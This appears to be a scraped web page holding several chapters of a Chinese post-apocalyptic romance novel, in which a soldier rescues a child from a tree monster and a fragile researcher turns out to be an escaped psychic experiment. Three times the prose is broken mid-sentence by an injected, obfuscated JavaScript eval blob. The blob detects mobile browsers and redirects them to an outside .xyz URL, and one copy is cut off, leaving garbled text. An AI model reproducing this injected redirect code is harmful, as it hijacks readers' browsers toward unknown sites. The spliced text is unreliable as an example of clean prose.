一切都说得通了,为什么他在规矩森严的军事基地当研究员还能纹身,大概是因为他有特权。 这也解释了为什么那辆车里只有他没死——地位尊贵的少爷,大概是受到了特殊关照和保护,在危机时刻有人拼死保住了他的命。 吴罪心中唏嘘,也明白了江玄灵为什么不说真话,在末世里人心叵测,社会秩序全部被打乱,且不说会不会有人想要绑架他作为筹码,就单说万一遇上个仇富仇贵的,人身安全都得不到保障。 也难怪他那么狡猾,一切都是为了自保而已,不聪明的人活不到现在。 吴罪摸向自己的裤子后面的口袋,一边对江玄灵说:“伸手。” 江玄灵狐疑地伸出一只手,吴罪掏出一颗奶糖拍在了他手心里,大方地冲他扬了扬下巴:“吃吧,甜。” 江玄灵看着掌心的糖,嘴唇动了动,有点欲言又止。 吴罪:“别光顾着感动了,吃吧,不算你欠我的。” 江玄灵非常委婉地抬头说:“好像被你坐扁了。” 空气一时非常安静,两秒钟后吴罪劈手夺回他手里的奶糖,两下扯掉包装,不由分说地塞进了江玄灵嘴里:“世界末日了还挑个屁。” 奶糖的甜味在口腔中蔓延开,驱散了药味的苦,江玄灵勉强接受了。 吴罪好不容易才把视线从江玄灵的嘴唇上移开,站起来走了几步,又回过头来:“你不告诉我你们车上装的是什么也没事,反正我马上就要知道了。” 话题突然转变,江玄灵表面没反应,身子却微不可察地一紧。 “我队员已经联系到了首长,我最晚明天下午就会接到电话,到时候他们会详细告诉我任务的内容,因为现在只有我能帮的了他们。”吴罪弯腰俯身撑在江玄灵两侧,嘴角勾起来,“我知道你怕泄密担责,但是很快你就会知道,我们是同一阵营的,你帮我找到实验体,我帮你应付末世。” - 今天的天气真的很好,跳跳趴在窗台上看着外面,她们家的别墅正对着一片绿地,绿地后面是小山坡,上面种着很多花。 以前天气好的时候爸爸妈妈会带着她来到这座山里的别墅,到草地上放风筝,她特别喜欢放风筝,有的时候爸爸会把风筝的牵引把手给她,她仰头看着风筝在高高的天上飞,风大的时候,她感觉自己都被拽着跑,像是要跟着飞起来了。 然后她就听到妈妈在身后笑着叫她,地上铺好了野餐布,上面摆满了好吃的,爸爸也坐到妈妈身边,冲她招手。 还是不要飞走了,比飞得高高的更好的事情,是和爸爸妈妈在一起呀。 ……但那是在爸爸妈妈关系还好的时候。 忘了从什么时候开始,大概是最近,又似乎从很久以前就开始了,爸爸会偷偷地和别的阿姨打电话,经常加班出差。 然后激烈的争吵爆发了,厨房的盘子和碗摔得粉碎,愤怒的嘶吼哭泣中,她躲在房间的角落里捂着耳朵哭,然后爸爸又是接连几天不回家,妈妈带着她离开,回到了这栋别墅。 如果时间能倒流多好。 忽的,远处一抹红色吸引了跳跳的注意,她的眼睛惊讶地睁大——灌木丛里,居然有一只掉落的风筝。 妈妈在客厅里整理江玄灵哥哥拿回来的食物,没人注意她,跳跳看了妈妈一眼,悄无声息从窗台边跳了下来,一路小跑到了后门。 拉开门的一刹那,她久违的闻到了青草的香气,她已经好久没出门了,外面有吃人的怪物,但是今天看上去似乎还好。 四周安安静静,青草在风中摇摆,就像无数个平常的周末一样。 去一下马上就回来应该没事的吧。 忍不住心里的痒,跳跳深吸一口气,朝着灌木丛里的红色风筝跑去,跑到近前那风筝却忽的向后飘去,跳跳又追了几步,风筝又飘向更远处。 跳跳急了,快跑过猛的扑向那只风筝:“抓住了!” 红色风筝落在她手里,虽然很脏了,但看上去还算完好,跳跳翻来覆去看了好几遍,开心地笑起来,然而忽的,她感觉有些不对,好像有谁在看着她。 楼上,刚洗完澡正从浴室里走出来的江玄灵忽的动作一顿,似乎察觉到了什么转头看向窗户外面。 窗外草地边,一股寒意无声的顺着脊背爬上来,跳跳缓缓抬起头——看到绿树丛中有一张青白的脸,正在对她笑。 那是个人吗?他的脸没有半点血色,两只黑洞洞的眼睛直勾勾地盯着她,跳跳浑身都发起抖来,那人的嘴向上裂开,满嘴的尖牙,抬起长满树叶的手,手里正握着那风筝的线。 “首都的情况不太好,据说现在重要的领导都已经准备往南方转移了,”通讯器里卢宇的声音很清晰,“明天晚上九点他们会准时打过来,由项目组首席科学家韩沐直接和你对接。” 通讯器放在面前的地上,房间里回荡着喘息声。 “知道了。”吴罪的声音有些不稳。 这一边的卢宇愣了一下,试探地问道:“老大你不会是在?” 梁景瑞:“我靠辣耳朵啊!!” “想什么呢?”吴罪做完最后一个俯卧撑从地上跳起来,“我在训练体能。” “啧啧啧,我还以为听到什么了不得的事情了,还以为老大你在末世里已经放飞自我了。” 吴罪的肩膀和手臂上反射着水光,更显得肌肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13552754|142339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强悍有力,用一旁的毛巾擦了擦脸上的汗,笑着说:“在你眼里我就这么饥渴。” 说到这里吴罪的脑海里莫名闪过了江玄灵的脸,他抓起桌上的矿泉水咕咚咚喝了半瓶,把心里奇怪的苗头压了下去。 梁景瑞哪壶不开提哪壶:“老大,你说的那个研究员怎么样?有没有提供什么有用信息?” 昨天光顾着揉肚子哄人了,哪里有什么信息。 “他的戒备心很强,我猜测他是某个高官家的孩子。”吴罪走到窗边。 虽然做出了这样的判断,但是细想起来似乎又有些违和感,他想了想说:“我对他不能完全信任,总觉得他藏着什么,明天我要找上面要一份九号军事基地项目的人员名单。” 忽的,客厅传来了褚玥焦急的喊声:“跳跳!你在哪?” 几乎是同时,窗外站在远处的小姑娘猝然撞入眼底,吴罪倒吸一口凉气。 “跳跳!”褚玥从客厅冲到厨房,又扑向洗手间,掀开浴帘发现人不在,整个人都崩溃了,“裴姚!快出来!妈妈生气了!” “她在外面!”吴罪撞开房门冲出来,肩膀上挎着枪。 褚玥两眼一黑几乎瘫软下去,外面是什么样的世界,那是随便一棵草都可以抹人脖子,一朵花都可以吃人的末世! 她挣扎着就要和吴罪一起冲出去,吴罪冲褚玥后面一摆手:“看住她,待在家里别出来!” 他是在和褚玥身后的江玄灵说话,这家伙神出鬼没的,不知道什么时候就冒了出来,在褚玥后面扎眼的很。 吴罪顾不上看他听没听自己话,因为远处已经响起了跳跳的尖叫。 那半人半树的东西抓住小姑娘的两只脚踝就往森林深处拖去,吴罪只看到远处那抹亮丽的蓝色裙子一下子隐没在树丛中。 吴罪暗骂一声猛追过去。 敢直接冲进这种树林里的恐怕也只有特种兵了,但哪怕是胆子大如吴罪,心里也不是完全有底,在人类的世界他敢挑战任何人,但怪物呢?随便冒出一根刺,伸个舌头就能治人于死地,人类在怪物面前几乎渺小如蝼蚁。 要是有重型武器就好了,但是他现在手里只有一支枪,只剩下最后两颗子弹。 “妈妈!”小姑娘的哭喊声嘶力竭。 吴罪狂奔的速度快到了胸腔都几乎要炸裂的程度,不知跑了多远,他忽的看见树怪停住了,前方似乎出现了一片空地,树怪像是回到了家,枝条舒适地展开,一步一步地往前挪去。 吴罪紧跟着停下躲在林间暗处,拨开面前的树枝。 然后他就看见了毕生难忘的景象,他不知道该怎么形容,说是地狱都不为过。 空地上是一个巨大的深坑,里面横七竖八摆满了尸体,男女老少全都有。 即便见过无数生死,吴罪依旧觉得胃里控制不住地疯狂翻涌,从指尖一直麻到心脏。 人死亡之后是五颜六色的。 下层的尸体已经开始腐烂,蛆虫在上满密密麻麻地爬,上层的尸体看上去有的刚死不久,各种各样的霉菌生长在尸体的脸上、手上、腰上,呈现出不同的颜色,像是泼上去的油彩。 那味道根本无法描述,有那么一时半刻吴罪甚至觉得过于强烈的味道刺激让他几乎丧失了嗅觉。 无数的变异植物、昆虫趴在那些尸体之上趴着许多正在贪婪吸食着,察觉到人形树怪回来,那些低等怪物从尸体上不甘地褪去,缩进了泥土或者四周的树林里。 15.黛玉 人形树怪“走”向那个巨坑,吴罪这时候才看清它的行动方式,它的下半身是无数的树根,走路的时候就像章鱼一样撑着地,上半身则是人,手指却是树枝的形状,手里拎着已经被吓得面无人色的小姑娘。 然后它坐在了深坑的正中央,无数的根系铺散开来,几乎把整个坑都盖住,根系又向下伸出更细的根系,扑哧扑哧地戳进下方的尸体里,开始吸取养分。 怪物的人脸上露出餍足的表情,然后看向手中的跳跳,用树枝把她托住。 跳跳剧烈颤抖着,其实她的表现已经远超90%的同龄人,既没有失控地大哭也没有惨叫刺激怪物。 怪物的眼珠紧盯着她,那张脸其实是一张很普通的中年男人的脸,他的身上甚至还穿着半截破烂的衣服,如果不是身子的另外一半是树,他大概就是街上最常碰见的中年大叔。 它像是不急着把跳跳也变成养料,抬起一根树枝,从远处将那只红色风筝拿了过来,在跳跳面前晃来晃去,像是在逗她玩。 毛骨悚然完全不足以形容吴罪此时的感受,他看到深坑不远处的地上散落着各种人类的生活用品:玩具、零食、收音机…… 人形怪物用这些东西作为诱饵,诱骗人类落入他的陷阱,然后把他们做成养料。 吴罪想起了末世开始的时候他遇到的那只猫怪,它和面前的怪物一样,都是其他生物和人类的融合体。 它有思考能力。 这就是末世,一个做错选择就会丧命的时代。 不是所有人都像他一样有自保能力,也不是所有人都像褚玥母女一样幸运的有房子可以躲避、有足够的食物可以维持生存,那些风餐露宿逃难的人们,或许在饥肠辘辘的时候看到了地上的零食面包,怎么可能不心动,捡起来,对上的却只有怪物的诡异笑脸。 吴罪下颌线绷紧,在树林隐蔽中端起了枪,风轻轻吹过树梢,向下扫过枪管,素素麻麻地卷过他紧扣在扳机上的指尖。 砰!—— 枪毫无预兆的开了,子弹冲出弹道,又稳又准正中远处树怪的眉心! 跳跳猛的抖了一下,终于大哭了起来:“吴罪哥哥!” 怪物缓缓向后仰头,眉心一个血洞,但束缚着跳跳的树枝不知道是僵直还是怎么,还没松开。 “别怕我这就过来!”好在密密麻麻的树根盖住了下方的尸体,吴罪一步踩着一根树根快速到了跳跳近前,向她伸出双臂,“跳下来,我接着你!” 没有人注意到,怪物眉心的血洞正在一点点愈合。 跳跳挣扎着把自己的裙子从怪物的树枝手里拽出来,正要把小腿也从怪物盘根错节的树枝手臂里抽出来,忽的,她感觉下方的树枝动了。 下一秒怪物后仰的上半身猛然挺直,爆发出了愤怒的咆哮,那声音像是用石头刮金属板,尖锐又刺耳,怒视着吴罪挥动起无数的枝条猛扑向他。 那一刻,吴罪的脑海里闪过了很多东西,像是走马灯一样,最后却是他和他爸下围棋的画面。 “落子无悔,”吴正华手执白子,对面的小吴罪抓耳挠腮,急的直跺脚,哀求他爸,“就让我悔一步棋,我下错了,就一步。” “悔一步就想悔两步,哪有事事都重来的道理。” 吴正华笑了一下,毫不犹豫地杀在了黑子的致命处,吴罪原本在处上风的棋局瞬间扭转,周密的布置被白子一击刺穿。 “爸!”吴罪发出哀嚎,向后一摊,“不玩了不好玩!” “认输?说好了,谁输谁下周负责洗碗。”吴正华潇洒抬手。 吴罪一听这话立刻从椅背上弹起来:“谁说我的认输了?我不认!接着来!” 我不认输。 只要不认输,就有翻盘的机会。 一股力量仿佛从身体最深处迸发出来,吴罪抬手一推! 轰!—— 张牙舞爪扑向吴罪的树枝瞬间被一股无形的小范围气浪掀翻,离得最近的树叶甚至出现了被烧焦一样的蜷曲。 树怪发出一声像是被烫到的怪叫,吴罪趁着这短暂的片刻扑上去一把抓住跳跳的胳膊,把她从树枝里拽了出来,抱着她撒腿就跑! 不远处,刚刚带着褚玥赶到的江玄灵微微眯了一下眼睛。 精神力。 一般人根本无法看出来,但是那些能量的流动在江玄灵眼里无处遁形,细密璀璨的紫色光彩在吴罪抬手的一刹那从他的小腹瞬间冲到手臂,然后以护盾一样的形式散开,挡住了怪物的攻击。 江玄灵有些意外地扬了一下眉毛。 这个大兵身上还真是偶尔有些惊喜。 “跳跳!”褚玥已经狂奔向了吴罪和女儿的方向。 人形树怪在短暂的忌惮之后又再次向着吴罪奔跑的背影扑来,吴罪甚至能听到后面树叶在地上飞速摩擦的声音。 跑不动了。 浑身像是灌了铅,刚才使用力量之后身体好像一下子被抽空了,巨大的疲惫拖慢了他的步速。 远处已经能看到褚玥正在跑来,吴罪大汗淋漓,喘息着把跳跳放下向前一推:“去找你妈妈!” 跳跳回头:“大哥哥……”“快跑!”吴罪怒吼一声。 跳跳吓得跳起来冲向远处的褚玥。 吴罪看着母女俩猛的抱在了一起,也看见了后面奔来的江玄灵。 就知道这家伙不会乖乖听话。 吴罪有点想笑,双腿一软跪倒在了地上。 不过也多亏了江玄灵来了,还能接走小姑娘。 只不过他那弱不禁风的样子,能把母女俩带出树林吗? 不知道哪里来的力气,吴罪挣扎着端起枪转过身再次瞄准身后的人形树怪。 头打不死,心脏总可以吧? 然而这一次他还没来得及开枪,树枝已经到了他面前猛戳下来,吴罪咬牙想躲开,然而身子却不听使唤,电光石火之间一个人从侧面猛扑过来,吴罪只觉得眼前晃过一抹淡紫。 扑哧!—— 锋利如刀刃的树枝把吴罪刚才所在的地面位置戳了三个大洞。 江玄灵剧烈喘息着,吴罪被他压在身-下,抬头就是那张漂亮得要命的脸。 “你没事吧?”江玄灵死死抓着他的肩膀,吴罪感觉他的手指都要掐进自己肉里了,身子也在轻轻颤抖。 明明救人的是他,却怕的像个什么似的,也不知道哪里来的胆子。 吴罪的喉咙发紧。 不是最狡猾的吗?关键的时候怎么不知道跑? “你带着母女俩走啊!管我干什么?”吴罪已经完全没有了起身的力气,他知道自己走不掉了,更不可能拖累江玄灵,用力在江玄灵肩膀上推了一下,“赶紧走!” 江玄灵脸色苍白地瘫软在他身上:“等会儿,我缺氧了头晕。” 吴罪:“……” 这体质真是没谁了! 树枝从地上抽出来,眼看就要再次扑向两人,吴罪目眦欲裂,猛的抓起枪。 江玄灵忽的:“瞄准他的右手边第八个树根中间的位置!” 吴罪根本顾不上多想,几乎是下意识听从了江玄灵的指令。 砰地一声!最后一颗子弹穿过乱舞的枝条,没有一丝偏差的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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吴罪轻轻拍打着小姑娘的后背,心脏像是被柔软的东西包裹住,有种许久未曾感受过的踏实和安心。 这一刻他想明白了一些事情,末世人心叵测,却也不至于把所有的人都拒之门外。 他需要朋友也需要团队,她(他)们也需要他。 吴罪深吸一口气:“我在末世之后也发现了我的身体有一些变化,在危机时刻会爆发出一些力量。我猜测,末世之后不只是动植物会变异,普通人也会变异,而且是正向的变异。比如江玄灵变异出了能看到能量流动的能力,我变异出了能使用能量的能力。” 褚玥刚才当然也看见了,吴罪如果不说,她也不会问,但说了就代表着他对这个团体的信任。 “这件事只能我们四个知道。”褚玥擦掉眼泪,轻轻按了按跳跳的头,“听到了吗宝贝。” 跳跳用力点头:“我肯定不会到处乱说的妈妈!” 吴罪看在眼里,母女两个人在末世里看上去脆弱,但褚玥冰雪聪明,跳跳勇敢机灵,未来在末世里潜力无限,幸存下去不成问题。 至于趴在他身上这位…… 江玄灵大概当初就是看到怪物身体里的能量流动,才能从超市里活着出来的吧。 但更多的应该还是运气好,万一遇到今天这种大怪物,就算是看到了靠他自己也打不死,就那纸糊似的身子。 “是不是可以从我身上下去了,黛玉?”吴罪对着江玄灵挑眉。 江玄灵有些困惑:“黛玉是谁?” 16.信任 江玄灵有些困惑:“黛玉是谁?” “四大名著里的林黛玉啊。”吴罪一个翻身直起身子,还以为他在开玩笑,“你该不会是外国间谍吧?” 江玄灵微微后撤,躲开和他几乎贴脸的状态,神色平静地他身上下去:“我当然知道,刚才没听清而已。你不用再躺会儿了?吴黛玉?” 他倒是会活学活用。 吴罪这个时候已经恢复得差不多了,活动了一下关节站了起来。 看来使用能力的代价是对体力的消耗,下次再用的时候得慎重些,要不然跑都跑不掉。 这次多亏了江玄灵,吴罪心存感激,对他那丝隐隐的不信任弱了许多,但看着江玄灵低垂的长长睫毛,心里始终还是觉得有些异样。 褚玥:“我和跳跳把周围那些零食都收集起来,然后咱们就回家,外面不安全,不能待太久。” 末世里的每个食物都很珍贵,吴罪点点头,却忽的见褚玥又红了眼眶。 江玄灵对待女人和对待吴罪的差距还是蛮大的,吴罪只见他用极其柔和的声音轻声问:“怎么了?” “啊,没事。”褚玥飞快地擦掉眼泪,“我只是认出了那个怪物,他是C4的业主,有个和跳跳差不多大的女儿,人还挺好的。” 吴罪忽然明白了那时候怪物为什么没有直接吃掉跳跳,而是逗她玩。 或许他已经失去了人类的意识,只拥有捕猎和嗜血的需求,却依旧会在某个瞬间被过往的记忆裹挟,重复生前的习惯和爱的本能。 人之所以是人,是因为有灵魂的存在,如果灵魂已经不在了,只剩下本能,还可以被当作人吗? 一时间所有人的心情都很复杂。 C4业主已经变成了这样,他的女儿只怕也已经凶多吉少。 江玄灵轻轻按住褚玥的肩膀:“不是所有人都能在末世里活下来的,这里太残酷了,他们只是更早的获得了解脱。” 他说的话莫名有种安抚人心的力量,吴罪只看到褚玥听着他说话,悲伤的神色肉眼可见的一点点平静下来,江玄灵又对跳跳招招手,低声对她说了些什么,跳跳红着眼眶点头。 吴罪发现江玄灵在蛊惑人心,不,让别人信任上很有天赋,如果末世前当神棍、心理医生一类的职业大概能有很好的职业发展。 忽的,有什么东西滴溜溜地不知从哪滚了出来,吴罪低头一看,发现居然是一个金色的小球。 “又是这东西,”吴罪弯腰捡起来,“我之前路上打死几只怪物,也掉出来过一样的小球,比这个小一点。” 跳跳:“有什么用?” “没用,我上次还敲碎了一个,”吴罪把小球在手指间盘玩了几圈,递给江玄灵,“给你江玄灵哥哥吧,让他做个项链戴着,他爱美。” 江玄灵:“……” 吴罪发现自己特喜欢开他玩笑,因为他觉得江玄灵无语的表情很可爱:“说的不对?下次去超市我帮你多拿几盒染发膏回来,对了,看你还有耳洞,你喜欢什么样的耳钉?” 江玄灵慢悠悠地把小球揣进口袋里:“不用了谢谢,下次我看到香包也会帮你带的。” 说罢他悠然地向前走了,吴罪愣了好几秒才明白他什么意思,不可置信地抓起自己的衣服闻了闻,顿时闻到了一股刺鼻的尸臭。 “我这是刚沾上的!我平时挺香的!”吴罪恼羞成怒,“喂!” 不久之后,褚玥和跳跳收集了一大袋子的零食,没有得到食物的雀跃,反倒是有些沉重。 吴罪背上已经没有子弹的枪,带头走在前面一招手:“走吧,我们回家。” 阳光拉长了几人的背影,江玄灵走在最后,握紧了口袋里的金色小球,咔嚓一声捏碎。 无形的力量瞬间渗入他的身体,如同水源滋养着皲裂的大地。 身体的元气再次得到了少许恢复,江玄灵轻轻呼出一口气。 不久前他还觉得找一个人帮他获取小球是痴心妄想,现在,这不就有了吗? 吴罪高大的背影挺拔强悍,一脚踹开挡路的变异花草,看上去非常可靠。 拥有了变异能力的人类,未来一定会非常有用。 江玄灵的瞳孔深不见底,嘴角微微勾起。 身后似乎有些异样,大坑里那些暂时缩回去的低等变异生物都钻了出来,大树怪死了,现在是它们的主场,它们贪婪地聚拢,准备扑向前行的四人。 就在此刻,队伍最后的江玄灵停住了脚步,淡淡回眸。 纯黑的眸子赫然变成了原本的紫色,一直被压制深藏起来的精神力威慑瞬间释放。 轰!—— 明明是无声的,却仿佛在林间炸响了无声的巨雷,方圆一公里以内无数的变异鸟兽植物受到了巨大的惊吓仓皇逃窜。 前方的吴罪只听到周围树林里一片乱响,还以为怪物要来袭击,立刻做好攻击准备,给身后的几人做了个停下的手势,然而等了好久,周围却变得格外安静。 “奇怪。”吴罪嘟囔了一句,更警惕了一些,“大家小心点,跟紧我继续走……江玄灵!跟上别掉队!” 后面传来江玄灵有点虚弱的声音:“你走太快了,慢点。” 吴罪哭笑不得:“下次用轿子抬着你,大少爷。” 嘴里这么说着,吴罪却还是稍微放慢了速度。 不知过了多久,眼前逐渐明朗,远处已然看到了自家的房门,跳跳牵着妈妈的手小声说:“妈妈,你有没有觉得怪物好像变少了?” 褚玥眼眶发红,浑身紧绷的肌肉终于放松,从胸腔最深处呼出一口气:“感谢老天眷顾。” - 第二天。 “晚上我要接一个很重要的电话。”晚饭桌上,吴罪从自己的鸡肉罐头里夹出一大块,放在了江玄灵的碗里,“如果母女俩有什么事你先帮着解决,解决不了的等我挂了电话再说。” 下午的时候江玄灵和吴罪忙着加固房间里的所有门窗,让褚玥和跳跳先吃,这会儿母女俩正在楼上,褚玥正在辅导跳跳学数学。 江玄灵正在慢条斯理地吃面条,看着眼前忽然多出的鸡肉,顿了顿,抬头看见吴罪已经呼噜噜地把一整碗面条都吃光了,还有点意犹未尽。 江玄灵叹了口气,干脆把自己的面推到他面前:“你吃吧,我吃不了这么多。” 吴罪向后双手抱臂靠在了椅背上,似乎是觉得有点好笑:“跳跳都比你吃得多,你快吃吧别客气了,那么瘦就该多长点肉,别哪天在外面饿晕了,我还得背着你跑。” 江玄灵:“……”真是多余关心他。 江玄灵默默把碗拿回来继续吃。 吴罪坐在那看他吃饭,江玄灵吃东西的时候不紧不慢,好像有天大的事都不能影响他的节奏,看上去非常优雅端庄,几乎有种赏心悦目的感觉。 什么样的家庭能养出这么贵气的孩子? 吴罪的视线几乎凝固在江玄灵脸上,以前他不明白为什么会有人那么无聊喜欢看吃播,现在他好像有点懂了。 看好看的人吃饭真的是一种享受,不仅食物看起来格外美味,就连人也秀色可餐…… 江玄灵把碗往前轻轻一推:“我吃饱了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13573909|142339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>吴罪如梦初醒,做贼心虚腾地抓过江玄灵面前的空碗和自己碗:“我去洗,你歇着。” 江玄灵握住他的手腕:“不用,我自己洗。” 吴罪手臂肌肉都绷紧了,只觉得被抓住的位置有点发烫,江玄灵偏偏毫无察觉地靠近他:“不是还要打电话的吗?” 淡淡的花香飘进吴罪的鼻腔,带着某种无意又纯良的蛊惑,吴罪的心跳不受控制地加快,劈手夺过碗筷:“来得及。” 不等江玄灵再说什么,已经快步闪身进了厨房哗啦地洗了起来。 等到吴罪洗完碗回房间的时候,还在思考江玄灵一个大男人为什么还要喷香水,而且他哪里来的香水?难道也是上次超市采购的? 靠还挺好闻。 吴罪坐到桌子前,把通讯器摆好准备接通,又偷偷拎起自己的衣服闻了闻,江玄灵的味道已经散了,只剩下他自己的男人味。 “是赤刃部队第二小队副队长吴罪吗?”通讯器里忽然传来了接通的声音,紧接着是一个听上去非常沉稳的中年男声。 吴罪立刻坐直了:“是我。” 对方报出自己的身份,那是比之前给他布置假任务的领导更大的上级,吴罪心里越发震惊,九号基地到底在执行多大的任务? 这几乎是通天了。 领导对吴罪的近况表示了关切,又对吴罪的队友们逝去表示了遗憾,这些都是程式化又官方的东西,即便在末世里,这些东西居然还没有被摒弃掉。 吴罪听着那标准的官腔,想起自己死在战斗中的队友,放在膝盖的手指微微握紧。 以前他对某些东西深信不疑,但末世来临之后,似乎撕掉了某些纱。 “长官。”吴罪忽的打断了对方。 对面明显一愣,似乎从未被打断过。 “时间紧迫,信号随时可能中断,我们能不能直接进入正题,”吴罪说,“请告诉我龙影部队执行的任务究竟是什么,我会尽我所能提供帮助。” 对面静默了几秒钟,然后说:“这是一级机密,我们需要先对你的忠诚和可信度进行评估,组织对你足够信任,才能将任务的具体内容告知于你。” 吴罪深吸一口气:“您想知道什么?” “8月17日,你因为违抗上级命令、擅自指挥行动而被处分,对此你有什么想法?” 有什么想法?那一瞬间吴罪的脑海里闪过了无数的念头,汪子维的不正当上位、体制机制的腐朽、更深层次的腌臢……但他知道自己不能说,一旦他表示出对组织的不满,就会和本次行动失之交臂,那些秘密宁愿被深埋摒弃,也不会轻易交给他人。 “我做出的行动指挥是基于对现场的深入判断,在当时的情况下,我坚信我的选择是对行动最有利的结果,所以我确实违抗了上级指令,我接受组织对我的惩罚,也承认我的做法不合程序,停职期间我也在反思,当时其实应该和上级充分沟通后再决定。” 这样的回答滴水不漏,对面停顿了一会儿,不知是在记录还是在商议,大概过了半分钟声音再次响起来:“能和我们说说你的父亲吗?” 吴罪的身子不受控制地绷紧了。 二层的房间里,将精神力凝聚于耳朵,一直在默默听着全过程的江玄灵眸色微深。 “吴正华上尉在20XX年死于某项机密任务的执行过程中,那时候你才十五岁,当时由于任务的保密性太高,组织上并没有向你和你母亲披露他的具体死亡过程和原因,根据资料显示在此之后你曾经休学过一段时间。对于你父亲的离世,你对组织的处理方式有什么看法?” 17.实验体 “对于你父亲的离世,你对组织的处理方式有什么看法?” 房间的灯光明亮而静默,勾勒出吴罪因为用力咬牙而绷紧的下颚线,灯光向上穿过天花板和二楼的地面,江玄灵垂眸听着。 许久,他听见吴罪开口了。 “我的父亲是为了人民而牺牲,如果隐瞒他执行的任务和死因能有利于保护人民,我认同组织的处理办法。”吴罪沉声说。 他说的是真心话吗? 隐约能听到对面议论的声音。 江玄灵浓密的睫毛敛住眼底神色。 这虽然是一场看似审问的试探,但对面的人并不是站在主导地位,吴罪才是。 他们没有别的选择,吴罪是他们重新找回失落的实验品唯一的希望,放弃吴罪,就相当于放弃了实验品。 江玄灵抬起手,紫色的细闪绕动在他的指尖,仿佛流动的星河。 许久,对面再次传来声音:“经过讨论,组织决定临时授予你追踪九号基地遗落实验品专员的身份,请问你是否接受。” 吴罪:“我接受。” “吴罪同志,你对组织有什么要求?都可以提出来。” 这是在谈报酬了。 领导者足够聪明,知道在这个世道里信仰已经不足以引导一个人的行为,只有切实的利益可以。 事先谈好价格,对双方都更有利。 吴罪直说:“我需要组织保证我母亲的安全。” 他报出一连串有关江雪宁的信息,包括她在B城的住址和所有可能在的位置。“B城在H国南端,那里的情况应该还没有这么糟,”吴罪说,“我需要组织将她接到安全的地方,保证她的基本生活质量。” 对面答应的很痛快:“目前B城有军队驻扎区,可以满足你的需求。” 吴罪:“现在我们可以说正事了,请告诉我九号基地实验品的具体情况。” “接下来由我来说吧。”对面的声音忽的变了,换了一个人上来,他的声音听上去年轻许多,吴罪估摸着大概可能也就二三十岁,带着高知分子特有的冷淡平静。 听到这个声音,楼上的江玄灵瞳孔一缩,原本正在喝水,手里的水杯咔嚓一声应声而碎。 这个声音他不会忘掉,他被绑在椅子上折磨了无数个日夜,都是这个人下的命令。 “我叫韩沐,是九号基地的首席科学家,也是孤星项目的负责人。”年轻的声音介绍自己。 韩沐,吴罪在心中默念了一遍这个名字,感觉自己好像曾经在哪听过。 “我们非常幸运能得到你的帮助,”韩沐说,“在龙影部队任务失败之后,我们尝试让其他武装力量进入山区寻找实验品,但是他们都有去无回,山里的情况太危险了,变异数量多且种类复杂,几乎形成了天然的封闭区,外面的人想要进山难度极大。你现在在哪里?” “我在一处度假区里,目前相对安全。”吴罪非常谨慎,没有说出具体的地址,更没有提自己新发现的能力。 “不要太过乐观,怪物进化的速度非常快,我强烈建议你不要在一个地方待太久,”韩沐的声音很寡淡,吴罪几乎有种和AI说话的感觉,“用不了多久变异生物就会进化出足够的能力,到时候一扇大门或许根本挡不住那些强大的变异生物。” 吴罪:“比如九号基地里的实验体?” 韩沐停顿了一秒,说:“是的。” “它到底是什么?” “代号孤星的实验体是基因编辑的产物,它拥有极其强大的能力,你甚至可以理解为超能力,我们称之为“精神力”,在它的全盛时期,甚至可以轻而易举摧毁一座城市,”韩沐说出的每一句话都让吴罪震惊,“但是之前由于某些原因它受了重伤,我们估计它在逃脱之后会选择一个安静的地方养伤。” 吴罪的拳头微微收紧,这是他首次得知有关实验体的具体信息,找到一个受重伤的实验体行踪,这对他来说并不难:“收到,找到后我会尽量将它控制住。” “不!”韩沐猝然制止,“它极度危险且有迷惑性,如果发现它的话不要贸然接近,记下位置,报告给我们。” 吴罪皱眉,韩沐话里的一个词吸引了他的注意,甚至超过刚才的“超能力”和“极度危险”,那个词是“迷惑性”。 什么叫迷惑性?难道这东西的外形看上去并不和一般怪物一样可怕? 吴罪:“它长得什么样子?告诉我特征。” 通讯器对面,冰凉的镜片后,韩沐的瞳孔深处波澜翻涌,回忆中闪过那张俊美至极的脸,和被冷汗打湿的紫色长发。 韩沐的声音有些异样地发紧:“它身高大概1.8米,有一双……” 兹啦—— 通讯器里猝然传来刺耳的电噪音,尖锐的高频分贝直戳耳膜,吴罪猛然起身抓住通讯器飞快地调试按钮:“喂!听得到吗!收到请回话!” 电噪音逐渐弱下来,变成了细小的嗡嗡声,对面再无声音。 通讯断了。 吴罪一拳捶在桌上:“怎么偏偏在这个时候!”九号基地的名单也没来得及要。 楼上,江玄灵神色冷淡如霜,收回扰乱电磁信号的紫色精神力,转身走了。- 接下来的几天,吴罪都没能再联系上高层,甚至连卢宇和梁景瑞也联系不上,通讯器不知道出了什么问题彻底罢工,吴罪把整个机器拆了重新组装了好几遍也没找出问题在哪。 有关实验体的唯一信息就是它大概1.8米。 一米八,那不是差不多和人类一样高?…… 